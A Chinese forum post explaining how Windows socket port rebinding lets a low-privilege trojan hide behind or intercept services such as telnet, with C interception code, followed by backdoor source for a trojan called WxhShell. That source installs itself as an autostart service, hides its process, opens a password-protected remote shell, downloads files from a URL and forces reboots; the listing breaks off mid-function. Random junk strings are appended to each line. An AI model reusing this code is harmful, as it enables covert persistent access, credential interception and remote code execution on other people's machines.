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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2L7ogyrU/A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2S-z$Bi}]  
Xm^/t#  
  saddr.sin_family = AF_INET; ]hY4 MS  
b|g=&T:pp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j$khGR!  
bVds23q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zR }vw{  
qk!,:T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WI\h@qSB  
K%NgZ(x(  
  这意味着什么?意味着可以进行如下的攻击: A55F* d  
^xF-IA#ZeB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &=v5M9GR]  
r?=3TAA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u!I=|1s  
\Oa11c`6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )<^G]ajn  
v'u}%FC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rc`zt7hbJ  
rA1;DSw6E[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MF4B 2d  
ddvtBAX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cmbl"Pqy1  
wy# 5p]!u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y j*Y*LB~  
4>te>[  
  #include k\lU Q\/O5  
  #include e2M jV8Bs  
  #include 0tP{K  
  #include    *^.OqbO[U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   420yaw/":  
  int main() ^h"F\vIpV  
  { ]YwvwmZ  
  WORD wVersionRequested; %jj\w>  
  DWORD ret; /7yd&6`I  
  WSADATA wsaData; 1Et{lrgh f  
  BOOL val; ]gB:ht  
  SOCKADDR_IN saddr; YC d  
  SOCKADDR_IN scaddr; >I;J!{  
  int err; zZ{(7K fz  
  SOCKET s; Mg=R**s1x%  
  SOCKET sc; _ }:#T8h  
  int caddsize; ??=su.b  
  HANDLE mt; eLN[`hJ  
  DWORD tid;   TvwkeOS#}7  
  wVersionRequested = MAKEWORD( 2, 2 ); BYWs\6vK  
  err = WSAStartup( wVersionRequested, &wsaData ); F}=O Mo:.  
  if ( err != 0 ) { )VFS&|#\  
  printf("error!WSAStartup failed!\n"); \xexl1_;  
  return -1; d/xGo[?$  
  } tf?"AY4  
  saddr.sin_family = AF_INET; wVtBH_>  
   o9AwW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EMMp4KKOx+  
7 ?"-NrW~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %2EHYBQjN  
  saddr.sin_port = htons(23); .vhEm6wJUM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;>h:VnV(>(  
  { h&m4"HBL_  
  printf("error!socket failed!\n"); Dh B*k<S  
  return -1; Ebytvs,w  
  } vy1N, 8a  
  val = TRUE; @[w.!GW%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }-15^2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [rtMx8T  
  { {.D/MdwW;  
  printf("error!setsockopt failed!\n"); 95hdQ<W  
  return -1; QeipfK+me  
  } :tcqb2p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]:F?k#c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a qIpO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p )w{}@%r  
X(fT[A_2C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B5 H=#  
  { SbN.z  
  ret=GetLastError(); >19j_[n@VC  
  printf("error!bind failed!\n"); (ixlFGvEq  
  return -1; t[Ywp!y[  
  } i4r8146D[  
  listen(s,2); N"&qy3F  
  while(1) _/)HAw?k  
  { W"ldQ  
  caddsize = sizeof(scaddr); |g8Q.*"l[  
  //接受连接请求 V}+Ui]ie|I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]sG^a7Z.X  
  if(sc!=INVALID_SOCKET) 7=[/J*-m  
  { |FH|l#bu>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }ec3qZ@  
  if(mt==NULL) k9 NPC"  
  { |;MW98 A  
  printf("Thread Creat Failed!\n"); <) ltvo(  
  break; RqRyZ*n  
  } e{7"7wn=  
  } #>\%7b59>  
  CloseHandle(mt); Xwt}WSdF`k  
  } UZb!tO2  
  closesocket(s); +o^sm'$  
  WSACleanup(); m. "T3K  
  return 0; JWo).  
  }   ~sbn"OS +  
  DWORD WINAPI ClientThread(LPVOID lpParam) I2^ Eo5'  
  { eL{6;.C  
  SOCKET ss = (SOCKET)lpParam; Z }s56{!.  
  SOCKET sc; z{ MO~d9  
  unsigned char buf[4096]; Rg6/6/ IN  
  SOCKADDR_IN saddr; W@FRKDixG  
  long num; "6zf-++%  
  DWORD val;  '  
  DWORD ret; hz*H,E!>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VAet!H+]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m.2=,,r<Fq  
  saddr.sin_family = AF_INET; ?QG?F9?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p~NFiZ,  
  saddr.sin_port = htons(23); :to1%6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KW-g $Ma  
  { G*\U'w4w|*  
  printf("error!socket failed!\n"); ^U[yk'!Y  
  return -1; D ~LU3#n  
  } 2(iv+<t  
  val = 100; cOo@UU P   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zt H{2j0  
  { \YrvH  
  ret = GetLastError(); do&0m[x%  
  return -1; }hA h'*(  
  } :]+p#l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WpPI6bd  
  { 0o &B 7N  
  ret = GetLastError(); wS}Rl}#Oh?  
  return -1; 6*tbil_G+  
  } _l||69|.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MR-cOPn  
  { sm96Ye{O{  
  printf("error!socket connect failed!\n"); :Co+haW  
  closesocket(sc); 6Z7J<0  
  closesocket(ss); m. DC  
  return -1; fgEMn;  
  } }Asp=<kCc  
  while(1) SlojB^%  
  { k*Vf2O3${  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @(_f}S gfE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HC\\w- `<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ti}G/*4  
  num = recv(ss,buf,4096,0); a-Ef$(i_  
  if(num>0) :MbD=sX  
  send(sc,buf,num,0); #7yy7Y5  
  else if(num==0) 6> Ca O  
  break; k:k!4   
  num = recv(sc,buf,4096,0); @#W$7Gwf0  
  if(num>0) +KKx\m*  
  send(ss,buf,num,0); ?2$0aq  
  else if(num==0) `.F+T)G  
  break; Xsit4Ma  
  } {_<,5)c  
  closesocket(ss); _rjLCvv-  
  closesocket(sc); aB+B1YdY"  
  return 0 ; hDc)\vzr  
  } *zn=l+c  
j~:N8(=  
z3>oUq{  
========================================================== >( :b\*C  
i1JWdHt  
下边附上一个代码,,WXhSHELL Owz.C_{)  
Vuu_Sd  
========================================================== [osm\w49  
6q]`??g.  
#include "stdafx.h" #ZS8}X*S  
u{"@ 4  
#include <stdio.h> OP}8u"\Z  
#include <string.h> 06peo d  
#include <windows.h>  ;%tu;  
#include <winsock2.h> 8NS1*\z  
#include <winsvc.h> d[Lr`=L;  
#include <urlmon.h> B{+ Ra  
SXI3y  
#pragma comment (lib, "Ws2_32.lib") YDMimis\H5  
#pragma comment (lib, "urlmon.lib") 5{uK;Vxse  
gQ=g,X4  
#define MAX_USER   100 // 最大客户端连接数 "TgE@bC  
#define BUF_SOCK   200 // sock buffer wRi` L7  
#define KEY_BUFF   255 // 输入 buffer I N'a5&..  
/P-Eg86V'  
#define REBOOT     0   // 重启 &QL!Y{=Y6  
#define SHUTDOWN   1   // 关机 @xI:ZtM  
@^';[P!  
#define DEF_PORT   5000 // 监听端口 #=hI}%n  
P5*~ Wi`  
#define REG_LEN     16   // 注册表键长度 L)LW5%.6  
#define SVC_LEN     80   // NT服务名长度 HX3R@^vo  
pwvcH3l/r  
// 从dll定义API IO\ >U(:vx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WhR j@y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oT\u^WU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Evn=3Tw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lbtVQW0V;o  
~KufSt *  
// wxhshell配置信息 7.o:(P1??g  
struct WSCFG { Hi 1@  
  int ws_port;         // 监听端口 i: ZL0nH-  
  char ws_passstr[REG_LEN]; // 口令 z|V5/"  
  int ws_autoins;       // 安装标记, 1=yes 0=no '>]9efJA  
  char ws_regname[REG_LEN]; // 注册表键名 vNhi5EU  
  char ws_svcname[REG_LEN]; // 服务名 MxY~(TVPK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /@<Pn&Rq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y70[Nz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w< hw>e^.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SJtQK-%wK>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .#,!&Lt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @k!J}O K  
$EB&]t+  
}; >h0iq  
p. eq N  
// default Wxhshell configuration GIt~"X  
struct WSCFG wscfg={DEF_PORT, /- qS YS(  
    "xuhuanlingzhe", ) /kf  
    1, :D>afC8,  
    "Wxhshell", 4E`y*Hmzy+  
    "Wxhshell", s0 ZF+6f  
            "WxhShell Service", @{_L38. Nw  
    "Wrsky Windows CmdShell Service", v>FsP$p4yE  
    "Please Input Your Password: ", ?v-( :OF  
  1, |&+0Tg~ZE  
  "http://www.wrsky.com/wxhshell.exe", hlpi-oW`  
  "Wxhshell.exe" cuO)cj]@e  
    }; El;\#la  
.a%D:4GYR  
// 消息定义模块 fb7Gy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2nW:|*:/p6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HJVi:;o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8\?7k  
char *msg_ws_ext="\n\rExit."; _;G. QwHr  
char *msg_ws_end="\n\rQuit."; #,0PLU3%  
char *msg_ws_boot="\n\rReboot..."; e`pYO]Z  
char *msg_ws_poff="\n\rShutdown..."; $niJw@zC  
char *msg_ws_down="\n\rSave to "; ]d$:R`;  
?MT V!i0  
char *msg_ws_err="\n\rErr!"; 'u6T^YS  
char *msg_ws_ok="\n\rOK!"; &_-,Nxsf  
iGxlB  
char ExeFile[MAX_PATH]; *f%uc  
int nUser = 0; Yv?nw-HM  
HANDLE handles[MAX_USER]; OOzk@j^  
int OsIsNt; G%{J.J41F  
R?)M#^"W  
SERVICE_STATUS       serviceStatus; 4K_rL{s0U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l<5@a (  
Arg604V3  
// 函数声明 uhi(Gny.  
int Install(void); 9yU(ei:GUo  
int Uninstall(void); J1@X6U!{  
int DownloadFile(char *sURL, SOCKET wsh); u@j]U|FpY  
int Boot(int flag); kvWP[! j?)  
void HideProc(void); C` s  
int GetOsVer(void); ^}JGWGib=+  
int Wxhshell(SOCKET wsl); [{]/9E /&  
void TalkWithClient(void *cs); T r|B:)X  
int CmdShell(SOCKET sock); )Gf"#TM[  
int StartFromService(void); [D !-~]5  
int StartWxhshell(LPSTR lpCmdLine); \ 5MD1r}  
:@BAiKa[wa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rra3)i`*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z_Em%X  
c/:d$o-  
// 数据结构和表定义 (x;Uy  
SERVICE_TABLE_ENTRY DispatchTable[] = (v<l9}!  
{ 8|Wu8z--  
{wscfg.ws_svcname, NTServiceMain}, RO>3U2  
{NULL, NULL} :c4iXK0_^?  
}; 5 )tDgm  
]>j>bHG  
// 自我安装 'o D31\@I  
int Install(void) MIV<"A  
{ 6j*L]S c  
  char svExeFile[MAX_PATH]; 5k%Gj T  
  HKEY key; 1~J:hjKQ  
  strcpy(svExeFile,ExeFile); UH8q:jOi  
OV@MT^  
// 如果是win9x系统,修改注册表设为自启动 MHl ffj  
if(!OsIsNt) { 1!(Og~#(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |p4D!M+$7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y7&~me  
  RegCloseKey(key); Uq}FrK}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (d9G`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A_h|f5  
  RegCloseKey(key); xIOYwVC  
  return 0; p"%K(NL  
    } HuVx^y` @  
  } *Sd}cDCO%  
} .|$:%"O&X  
else { 8iv0&91Z  
Hnq$d6F  
// 如果是NT以上系统,安装为系统服务 Q7 4Q|r7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _*K=Z,a;\  
if (schSCManager!=0) n(}cK@  
{ Z-md$=+}w  
  SC_HANDLE schService = CreateService DGc5Lol~  
  ( V(lxkEu/Fj  
  schSCManager, !6` pq  
  wscfg.ws_svcname, JWh5gOXd  
  wscfg.ws_svcdisp, '' Pu  
  SERVICE_ALL_ACCESS, r$8(Q'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tv]^k]n{rf  
  SERVICE_AUTO_START, D+nKQ4  
  SERVICE_ERROR_NORMAL, U"qR6  
  svExeFile, A$JL"~R  
  NULL, 0uZL*4A+C  
  NULL, bjL8Wpk  
  NULL, vtByCu5  
  NULL, b] EC+.  
  NULL K/flg|uZ/V  
  ); ydZS^BqG  
  if (schService!=0) GLBzlZ?  
  { |8{c|Qz  
  CloseServiceHandle(schService); d`w3I`P1  
  CloseServiceHandle(schSCManager); G7qB   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tM:%{az  
  strcat(svExeFile,wscfg.ws_svcname); su}n3NsJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y/.I<5+Bu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j}`XF?2D  
  RegCloseKey(key); ZZ? KD\S5  
  return 0; a>o]garB+  
    } =Hd+KvA  
  } JS!`eO/8  
  CloseServiceHandle(schSCManager); _{C =d3  
} nOm-Yb+F  
} .T\jEH8E  
BO%aCK&  
return 1; >zS<1  
} -V F*h.'  
|?gO@?KDZ  
// 自我卸载 PAy/"R9DT-  
int Uninstall(void) xTGdh  
{ 6JB* brO  
  HKEY key; <*3#nA-O>i  
mHB0eB'l  
if(!OsIsNt) { =M],5<2;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { khb/"VYd  
  RegDeleteValue(key,wscfg.ws_regname); =JGL~t?  
  RegCloseKey(key); Zsto8wuf#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bjr()NM1  
  RegDeleteValue(key,wscfg.ws_regname); 8dUP_t~d#q  
  RegCloseKey(key); <-(n48  
  return 0; 8#ZF<B Y  
  } e6i m_ Tk  
} 'E)g )@^  
} O$(#gB'B  
else { )qeed-{  
,382O$C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .FeVbZW  
if (schSCManager!=0) M `49ydh&  
{ *%n(t+'q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r!&}4lHYi  
  if (schService!=0) r E&}B5PN=  
  { v 8B4%1NE  
  if(DeleteService(schService)!=0) { ZkqZO#nq C  
  CloseServiceHandle(schService); X<<FS%:+  
  CloseServiceHandle(schSCManager); ^ 0g!,L  
  return 0; y7T<Auue`  
  } #By~gcN  
  CloseServiceHandle(schService); #:xv]qb`k  
  } f/vsf&^O  
  CloseServiceHandle(schSCManager); #A 7|=E  
} 71c(Nw~iQ  
} hiw>Q7W  
& R,QJ4L  
return 1;  x-s\0l  
} sf Zb$T J  
ziXI$B4-  
// 从指定url下载文件 * zc[t  
int DownloadFile(char *sURL, SOCKET wsh) W.^R/s8O%5  
{ C#@-uo2  
  HRESULT hr; }=fls=c/0  
char seps[]= "/"; Ns$,.D  
char *token; W=I~GhM  
char *file; ]Q -.Y-J/O  
char myURL[MAX_PATH]; 'kHa_  
char myFILE[MAX_PATH]; ke2}@|?t  
~Z}DN*S  
strcpy(myURL,sURL); 3'!*/UnU  
  token=strtok(myURL,seps); TGZr [  
  while(token!=NULL) g4Nl"s*~  
  { i> dLp  
    file=token; =}%Q}aPp  
  token=strtok(NULL,seps); D22A)0+_  
  } Kidbc Z  
AWDy_11Nm  
GetCurrentDirectory(MAX_PATH,myFILE); /hYFOZ  
strcat(myFILE, "\\"); M;sT+Z{  
strcat(myFILE, file); sMcN[r  
  send(wsh,myFILE,strlen(myFILE),0); (!%w  
send(wsh,"...",3,0); xTy)qN]P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H^XTzE  
  if(hr==S_OK) CcZM0  
return 0; 11B8 LX  
else bd&Nf2  
return 1; ]Cp`qayct  
]Y3s5#n  
} i2!0bY  
|N0RBa4%  
// 系统电源模块 w0 1u~"E  
int Boot(int flag) sOm&7A?  
{ J+=?taZ  
  HANDLE hToken; }CvhLjo  
  TOKEN_PRIVILEGES tkp; OBf$0  
Hlz$@[$  
  if(OsIsNt) { wRJ`RKJ-T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w sbzGW~=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f\~A72-  
    tkp.PrivilegeCount = 1; 2U) 0k *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5}:`CC2,S~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (/C 8\}Ox  
if(flag==REBOOT) { tJpK/"R'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Zr,@LC  
  return 0; AdWP  
} s,~g| I\  
else { ycrM8Mu 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u2cDSRrqT  
  return 0; !JbWxGN`jn  
} LUEZqIf  
  } /|8/C40aY  
  else { J#?z/3v(  
if(flag==REBOOT) { qsdgG1<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y``]66\Fp  
  return 0; BO'7c1FU  
} c:2LG_mQ  
else { 2I{kLN1TY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >~})O&t  
  return 0; Tb!jIe  
} 40%<E  
} @k\npFKQm  
<P#:dS%r  
return 1; ->2m/d4a  
} .DHQJ|J-1  
[BFPIVD)h]  
// win9x进程隐藏模块 {11xjvAD  
void HideProc(void) , nW)A/?}  
{ $tDM U3,W  
nTr{ D&JS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zG\:#,9  
  if ( hKernel != NULL ) uuYeXI;  
  { Vj6 w7hz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I.kuYD62  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b ; U  
    FreeLibrary(hKernel); ov,[F< GT  
  } 6)_h'v<|M  
S%3&Y3S  
return; 8B3C[?  
} 8j}o\!H  
H Yw7*  
// 获取操作系统版本 EC7)M}H  
int GetOsVer(void) &+ UnPE(  
{ #M|q}jA|  
  OSVERSIONINFO winfo; bkiMF$K,K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h=dFSK?*D  
  GetVersionEx(&winfo); :*eJ*(M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 83_vo0@<6  
  return 1; CB`GiH/j  
  else ex8}./mjJ  
  return 0; .GIygU_  
} )3)x/WM  
{}"a_L&[;  
// 客户端句柄模块 VbX$\Cs:  
int Wxhshell(SOCKET wsl) - @tL]]  
{ j9&x# U  
  SOCKET wsh; t!o=-k  
  struct sockaddr_in client; o':K4r;  
  DWORD myID; 9(hI%idq  
7E;`1lh7  
  while(nUser<MAX_USER) :"`1}Q  
{ C;oO=R3r  
  int nSize=sizeof(client); n7hjYNJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {VKP&{~O  
  if(wsh==INVALID_SOCKET) return 1; L | #"Yn  
>w#&fd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X 1}U  
if(handles[nUser]==0) duoM >B>8]  
  closesocket(wsh); ,soXX_Y>  
else kg^5D3!2{Q  
  nUser++; UD^=@?^7  
  } BKQwF *<V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'W/AYF^5  
1aoKf F(  
  return 0; :b<<  
} vWjHHw  
&;%, Axc  
// 关闭 socket /`g~lww2O  
void CloseIt(SOCKET wsh) k]S`A,~  
{ `Wp y6o  
closesocket(wsh); 5E}!TL$  
nUser--; f9^MLb6)  
ExitThread(0); U\dLq&=V  
} ;upYam"  
'3TfW61]  
// 客户端请求句柄 :+%Yul  
void TalkWithClient(void *cs) GP_%. fO\M  
{ bRI`ZT0  
7A{,)Y/w ^  
  SOCKET wsh=(SOCKET)cs; $|7;(2k  
  char pwd[SVC_LEN]; nBzju?X)I  
  char cmd[KEY_BUFF]; Pl&x6\zL  
char chr[1]; >g2Z t;*@w  
int i,j; ltOsl-OpR  
bP7_QYQ6  
  while (nUser < MAX_USER) { "` kSI&2  
GW0e=Y=LR  
if(wscfg.ws_passstr) { ;;mr?'R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \hZye20  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r(I&`kF<  
  //ZeroMemory(pwd,KEY_BUFF); lD,;xuQ  
      i=0; p`}G" DM  
  while(i<SVC_LEN) { Je=k.pO1  
;:8SN&).  
  // 设置超时 8!qzG4F/  
  fd_set FdRead; .{"wliC2  
  struct timeval TimeOut; 3Cg0^~?6-  
  FD_ZERO(&FdRead); CMU\DO  
  FD_SET(wsh,&FdRead); 6gB;m$:fV  
  TimeOut.tv_sec=8; jKp79].  
  TimeOut.tv_usec=0; DVw 04ay%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e?fA3Fug  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T:S[[#f{5  
Ev,b5KelD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'J_6SD  
  pwd=chr[0]; "$e p=h+  
  if(chr[0]==0xd || chr[0]==0xa) { +]0/:\(B  
  pwd=0; _dwJ;j`2  
  break; $TFWum9wO  
  } oe{,-<yck  
  i++; zUz j F  
    } :-e[$6}S  
II{"6YI>  
  // 如果是非法用户,关闭 socket  zj7?2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7-4S'rq+  
} JO&+W^$uY}  
h&<>nK   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PbY=?>0z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*A"}i`ix  
`tJ"wpCf6  
while(1) { p~h [4hP  
mZ#h p}\.  
  ZeroMemory(cmd,KEY_BUFF); ;#ElJXS  
sQ8kLS_q8  
      // 自动支持客户端 telnet标准   vec4R )S  
  j=0; kB]*2o9-3  
  while(j<KEY_BUFF) { 52'0l>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NJPp6RZ%  
  cmd[j]=chr[0]; lh*!f$2 ~  
  if(chr[0]==0xa || chr[0]==0xd) { R)'[Tt`#R  
  cmd[j]=0; 1NQU96  
  break; xs$.EY:k  
  } jDCf]NvOPM  
  j++; x1`zD*{  
    } ]DLs'W;)  
0EBHR Y_F  
  // 下载文件 fU ^5Dl  
  if(strstr(cmd,"http://")) { 7 MG<!U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F tay8m@f  
  if(DownloadFile(cmd,wsh)) /gq\.+'{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H :Bu  
  else ~A,(D-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cb%ML1c  
  } c->?'h23)  
  else { &-p!Lg&D  
X oh@(%  
    switch(cmd[0]) { j:xm>X'  
  (?kCo  
  // 帮助 u^+ (5|  
  case '?': { x)-n[Fu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u~\ NL{  
    break; R/kfbV-b  
  } la 89>pF  
  // 安装 9 N9Q#o$!.  
  case 'i': { 2 D!$x+|  
    if(Install()) ky@DH(^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1owe'7\J  
    else P B"nf|pm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ms/Q-  
    break; h#]LXs  
    } rwY{QBSf  
  // 卸载 c}D>.x|]  
  case 'r': { fx = %e  
    if(Uninstall()) |eH*Q%M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G|)fZQ1nS  
    else f^ 6da6Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }!@X(S!do  
    break; bC%}1wwh  
    } -SKcS#IF  
  // 显示 wxhshell 所在路径 4nGr?%>  
  case 'p': { A&=`?4>  
    char svExeFile[MAX_PATH]; KhPDkD-  
    strcpy(svExeFile,"\n\r"); `(pe#Xxn  
      strcat(svExeFile,ExeFile); BnIZ+fg=  
        send(wsh,svExeFile,strlen(svExeFile),0); :1e'22[=.  
    break; Oy~X@A  
    } Df=zrs["  
  // 重启 9H,Ec,.  
  case 'b': { n^k Uu2g|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VMV~K7%0  
    if(Boot(REBOOT)) rI4N3d;C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ej{7)#  
    else { [C(>e0r  
    closesocket(wsh); `zMR?F`  
    ExitThread(0); t$5)6zG  
    } cK6IyJx-  
    break; F+::UWKA  
    } #GA6vJ4^s  
  // 关机 5'"l0EuD  
  case 'd': { vAo|o *  
